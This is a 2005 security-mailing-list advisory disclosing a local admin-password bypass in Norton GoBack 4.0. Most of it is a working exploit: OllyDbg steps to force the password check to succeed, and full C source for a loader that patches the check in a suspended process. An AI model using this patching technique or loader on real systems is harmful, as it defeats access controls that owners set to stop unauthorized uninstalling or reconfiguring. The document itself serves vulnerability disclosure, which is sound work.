[NT] Norton GoBack Local Authentication Bypass

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Norton GoBack Local Authentication Bypass
------------------------------------------------------------------------


SUMMARY

 <http://www.symantec.com/goback/> Norton GoBack has "the ability to 
backup and restore changes made in your partitions. Whenever a mistake is 
done, such as caused by a virus infection, you can use the program to 
reset the partition to its original state".

A vulnerability recently discovered in Norton GoBack allows local users to 
to bypass authentication password used to limit the usage of the product 
by unauthorized users.

DETAILS

Vulnerable Systems:
 * Norton GoBack version 4.0

Norton GoBack has an authenticate mechanism to protect itself. The 
following steps allows setting all authentication control rules to "none".

1. Run OllyDbg, open file GBOption.exe in "%Program Files%\Norton GoBack". 
This is the program that Norton Goback use to change setting.

2. Run program in OllyDbg by pressing F9. A windows with title "Norton 
GoBack Options" appears. Choose 2nd tab, click "Change Level...". It will 
show a window to change level for each action: enable/disable, uninstall, 
autobackup... There are three level: ADMIN, USER and NONE. By default, the 
level for uninstall is ADMIN, mean that you must have administrator pass 
to uninstall it. After changing level for these action to NONE and click 
OK, it requires ADMIN pass to authenticate (eventually, when you've set 
pass before). But here we don't have it now (lost, forget.. :D), so we 
will bypass it.

3. Return to OllyDbg, jump to address 0x0043697D by pressing Ctrl+G, enter 
address in it & click OK. OllyDbg will change to this address, you can see 
these code:

00436970 > 8B0D A8964700 MOV ECX,DWORD PTR DS:[4796A8]
00436976 . 50 PUSH EAX
00436977 . 51 PUSH ECX
00436978 . E8 93E9FFFF CALL GBOption.00435310
0043697D . 83C4 08 ADD ESP,8
00436980 . 85C0 TEST EAX,EAX ; eax == 0 if pwd is correct!
00436982 . 0F954424 0F SETNE BYTE PTR SS:[ESP+F]

Notes in addr 0x00436978, this is the function that GoBack uses to check 
administrator pass. It will return true if password correct or false if 
password is incorrect (eventually). Because we don't have password, this 
function will certainly return false. So we will set breakpoint in address 
0x0043697D to change its return value: make sure the pointer is at 
0x0043697D, press F2 to set breakpoint (the line will change to red).

4. Enter any pass you want & bypass Return to Norton GoBack Options, click 
OK, it will ask the ADMIN pass, you enter anything you want & press OK. 
Now, the control is changed to OllyDgb, it run to address where I set 
breakpoint and paused. Look in the registers window of OllyDbg, you'll see 
EAX = 0x00000090. Double click to it, change EAX to 0x00000000 and press 
F9 to continue. Now you'll see that no warning message were poped. All 
settings you made have been saved. You can check it again by click in 
"Change Level.." to see the result.

5. Last action Now, after changing all action level to NONE, you can do 
anything with Norton GoBack without worry about asking ADMIN pass. You can 
enable/disable it, uninstall it... Good luck!

Automatic loader:
/*
 * AUTHOR: LightPhoenix
 * EMAIL: [email protected]
 * DATE: 07/20/2005
 *
 * DESCRIPTION:
 * This loader is used in bypassing admin password
 * of Norton GoBack 4.0
 *
 * TODO:
 * Patch in memory at @0x436980
 * Origin: 0x85,0xC0,0x0F,0x95,0x44,0x24,0x0F
 * Patch: 0x33,0xC0,0xC6,0x44,0x24,0x0F,0x00
 */

// Goback Loader.cpp
#include <windows.h>

LPTSTR strExecFile = TEXT("GBOptions.exe");

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR lpCmdLine,
                     int nCmdShow)
{
  HANDLE hFile;
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  ZeroMemory(&si, sizeof(si));
  ZeroMemory(&pi, sizeof(pi));

  //Find GBOptions.exe
  if( (hFile = CreateFile(strExecFile, 0, FILE_SHARE_READ, NULL, 
OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL, NULL) ) == INVALID_HANDLE_VALUE)
  {
    MessageBox(0, "GBOptions.exe does not exist", "Bypass Norton GoBack 
4.0 by LightPhoenix[[email protected]]", MB_ICONERROR);
    return -1;
  }
  CloseHandle(hFile);
  
  //createprocess with suspend
  if( CreateProcess(NULL, strExecFile, NULL, NULL, FALSE,
    CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE)
  {
    MessageBox(0, "Error executing GBOptions.exe", "Bypass Norton GoBack 
4.0 by LightPhoenix[[email protected]]", MB_ICONERROR);
    return -1;
  }
  //patching
  BYTE buf[10];
  DWORD bytesRead, bytesWritten;
  ReadProcessMemory(pi.hProcess, (LPVOID)0x436980, buf, 7, &bytesRead);
  
  //Compare origin bytes
  if( buf[0] == 0x85 && buf[1] == 0xC0 && buf[2] == 0x0F && buf[3] == 0x95 
&&
    buf[4] == 0x44 && buf[5] == 0x24 && buf[6] == 0x0F )
  {
    //Correct!
    BYTE newData[] = {0x33, 0xC0, 0xC6, 0x44, 0x24, 0x0F, 0x00};
    WriteProcessMemory(pi.hProcess, (LPVOID)0x436980, newData, 
sizeof(newData) /sizeof(newData[0]), &bytesWritten);

    //resume
    ResumeThread(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    MessageBox(0, "Bypass succesfully!", "Bypass Norton GoBack 4.0 by 
LightPhoenix[[email protected]]", MB_ICONINFORMATION);
  }
  else
  {
    //Failed
    MessageBox(0, "Wrong size???\nWrong version!", "Bypass Norton GoBack 
4.0 by LightPhoenix[[email protected]]", MB_ICONERROR);
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
  }
  return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
LightPhoenix.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.